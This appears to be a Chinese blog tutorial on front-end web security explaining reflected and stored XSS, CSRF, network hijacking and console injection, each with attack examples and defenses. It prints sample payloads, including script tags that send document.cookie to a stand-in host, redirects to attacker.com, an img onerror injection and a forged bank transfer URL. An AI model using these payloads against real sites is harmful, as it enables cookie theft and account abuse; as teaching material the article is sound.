前端安全 - 好文

      前端安全一直以来都是被容易忽略的知识点，因为放在前端的东西都能被用户拿到，还谈什么安全而言。也正是因为如此，我们才更应该为用户的安全考虑我认为，防止黑客窃取用户信息，从而损害用户利益。
      个人认为，最好的前端安全就是同源策略，浏览器已经帮我们做好了。我们要做的就是防止黑客钻空子。下面来具体分析几种前端攻击：

XSS(Cross Site Scripting)跨站脚本攻击

原理

HTML是一种超文本标记语言，通过将一些字符特殊地对待来区别文本和标记，例如，小于符号（<）被看作是HTML标签的开始，与
之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符（如<）时，用户浏览器会将其误认为是插入了HTML标签，当这些HTML标签引入了一段JavaScript脚本时，这些脚本程序就将会在用户浏览器中执行。所以，当这些特殊字符不能被动态页面检查或检查出现失误时，就将会产生XSS漏洞。
XSS攻击 <https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB/954065?fr=aladdin>

攻击类型

* 反射性XSS（非持久型XSS）
      如果恶意用户输入一段javascript代码作为查询参数name的值：
http://example.com/hello?name=<script>alert('你被攻击了!');</script>，后端响应处理代码：
res.send = '<h1>Hello,'+query.name+'!</h1>'。此时，客户端接收的响应为<h1>Hello,
<script>alert('你被攻击了!');</script>!</h1>。因为把里的内容当脚本语言执行，所以会弹窗alert。
         可以通过这种方式执行任意JavaScript代码，如：窃取用户的cookie（
<script>document.location='http://mywebsite/get?cookie='+document.cookie</script>
）、重定向到钓鱼网站（<script>document.location='http://badsite.com</script>）、发送其他请求。

* 存储型XSS（持久型XSS）

      这种类型XSS攻击更常见，危害更大，它和非持久型XSS类似，不过它会把攻击代码存储到数据库中，任何访问包含攻击代码的页面都会殃及。例如：某个网站通过表单接收用户的留言，如果服务器接收数据后未经处理就存储到数据库中，那么用户可以在留言中插入任意的javascripte代码，例如：
<script>window.location.href="http://attacker.com";</script>
其他用户一旦访问到留言板页面就会执行其中的javascript脚本，从而重定向到攻击者写入的站点。
常见攻击场景及防御

* 注入脚本获取cookie
* 攻击：通过类似
book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
的代码获取用户cookie

* 防御：服务端对安全性较高的cookie设置HttpOnly，这样就不能通过js获取
* 通过img标签
* 攻击：$imgsrc="\" onerror=\"javascript:alert('你被攻击了');\"";
* 防御：将输出的字符串中的\反斜杠进行转义(json转义)。这样，\就不会被当做unicode码的开头来被处理了
document.getElementById('username_info').innerHTML = <?php echo
json_encode(htmlentities($username));?>;
* 富文本攻击
* 攻击：插入攻击类型的标签
* 防御：可能发生xss的地方，如： img[src], script, a[href], [onclick,onmouse**]等等。通常我们通过
正则处理掉绝大部分标签属性，保留的属性（src，class，href，style）等根据需求例如 src 判断正则是否满足指定域名之类的，
不满足则视为恶意输入，移除。xss 是用户输入再次展现在客户端时候发生的，你需要在这之前处理。如果展现的地方比较确定，可以考虑在客户端处理。
基于白名单的富文本XSS后端过滤（jsoup）
<https://blog.csdn.net/qq_34964570/article/details/79141654>
前端转义字符 <https://segmentfault.com/q/1010000003992126>
CSRF(Cross-site request forgery)跨站请求伪造

      CSRF(Cross-site request forgery)跨站请求伪造，也被称为“One Click Attack”或者Session
Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。

* 攻击：在访问黑客伪造的网站时，你进行的操作，比如莫名其妙执行了转账url
http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory
，如果你登录了银行账户并且cookie未过期，这个url会带上cookie执行转账程序
* 防御：
* 验证 HTTP Referer 字段，识别网站来源
* 在请求地址中添加 token 并验证
* 在 HTTP 头中自定义属性并验证
网络劫持攻击

      很多时候，我们的网站不是直接就访问到我们的服务器上的，中间会经过很多层代理，如果在某一个环节，数据被中间代理层的劫持者所截获，他们就能获取到使用你网站的用户的密码等保密数据。

*
攻击：比如，我们的用户经常会在各种饭馆里面，连一些奇奇怪怪的wifi，如果这个wifi是黑客所建立的热点wifi，那么黑客就可以结果该用户收发的所有数据。

*
防御：使用https加密协议，就算网站的数据能被拿到，黑客也无法解开。如果你的网站还没有进行https加密的化，则在表单提交部分，最好进行非对称加密--即客户端加密，只有服务端能解开。这样中间的劫持者便无法获取加密内容的真实信息了。
控制台注入代码

* 事例：你可以打开天猫官网 <https://www.tmall.com/>，按下F12，看一下控制台console提示。
* 原因：在控制台黏贴黑客的代码，比如：document.cookie可以拿到此网站信息，从而发送给黑客

参考链接：https://cloud.tencent.com/developer/article/1136202
<https://cloud.tencent.com/developer/article/1136202>

安全是一个很广泛的领域，这里也只是记录了几种比较简单常见的，后续遇到其他的会持续更新...

热门工具换一换